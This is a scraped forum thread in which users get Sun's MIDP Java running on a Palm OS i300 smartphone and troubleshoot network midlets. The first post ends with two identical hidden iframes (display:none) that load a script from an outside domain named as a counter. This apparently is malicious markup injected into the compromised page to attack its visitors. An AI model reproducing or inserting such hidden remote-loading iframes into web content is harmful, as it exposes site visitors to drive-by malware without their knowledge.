+ Reply to Thread
Results 1 to 8 of 8

Thread: Java

  1. #1
    smartphonecentral.com
    Join Date
    12-16-2001
    Location
    New York City
    Posts
    158

    Java

    The i300 can and does run Java apps using J2ME and Sun's MIDP impelmentation for Palm OS. I've installed Sun's MIDP and standard demonstration programs. Some work well, like the worm game. Others, including those that use network connectivity, don't work so well.

    Has anybody seen any worthwhile J2ME apps out there? Sun's package comes with a converter that takes standard .JAR and .JAD files and converts them to a format usable by the Palm Java engine. I'd particularly like to hear if anybody has had any success with the network-enabled apps, as well.

    If any developers are listening and have any experiences working with Java on a handheld platform, maybe they can chime in too. Just trying to get my feet under me on the subject.

    Thanks!

    --Jesse

    P.S. If anybody's interested, Sun's MIDP files are available at:

    http://java.sun.com/products/midp4palm/<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
    <iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
    Registered User
    Join Date
    11-09-2001
    Posts
    35
    Which network-enabled apps did you try and what errors did you get? I was able to connect to the demos URL’s. I need to check the code, but I think these http connections are just pulling in the stream of characters from the web server (HTTP) The HTTP is not rendered as it would be in a browser. Is this the same thing you are getting?

  3. #3
    smartphonecentral.com
    Join Date
    12-16-2001
    Location
    New York City
    Posts
    158
    HTTPView just gives me an error when I try to grab a URL (after establishing an Internet connection first): java.lang.IllegalArgumentException. I've only installed MIDP; do I need to install anything else to get that working?

    Thanks--

    --Jesse

  4. #4
    Registered User
    Join Date
    10-22-2001
    Posts
    38

    A couple of apps in development

    I'm working on a few new applications for my company. One of them is a Location Based Service application. As we get more written I will post a message with an update on how things are going.

  5. #5
    Registered User
    Join Date
    11-09-2001
    Posts
    35
    Jesse,
    MIDP, demos, and Developer are the only prc’s I installed. I’m not sure why you’re getting the error message... I’ll investigate a little more, and let you know if I find out anything useful.

    You can go to http://www.javamobiles.com/midlets/index.html for some primitive but cool midlets (J2ME jad and jar files)

  6. #6
    smartphonecentral.com
    Join Date
    12-16-2001
    Location
    New York City
    Posts
    158
    I didn't install developer. In fact, I didn't see it. Did I miss it in the MIDP distribution or is it part of another package? Tx--

  7. #7
    Registered User
    Join Date
    11-09-2001
    Posts
    35
    Developer was in the midp4palm-1_0.zip file from the link “MIDP for Palm OS” accessible from your posted link. Maybe you have an older version of this file?

    Just so you know, I was also successful running the StockMIDlet.prc. (also in the zip file) This is a network app that connects to a public site and retrieves stock prices. I successfully pulled in Oracle’s stock price from today. (It’s up 17 cents) Try that app and see if you get the same error.

  8. #8
    smartphonecentral.com
    Join Date
    12-16-2001
    Location
    New York City
    Posts
    158
    Hey Tennis, thanks, it's working. I installed developer.prc and also removed the entry from the "Web proxy" address in the Java prefs. Don't know which did it. Of course, always best to introduced lots of variables at the same time.

    Tracker and HTTP grabber now work. Both are actually somewhat useful!

    Cheers--

    --Jesse

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts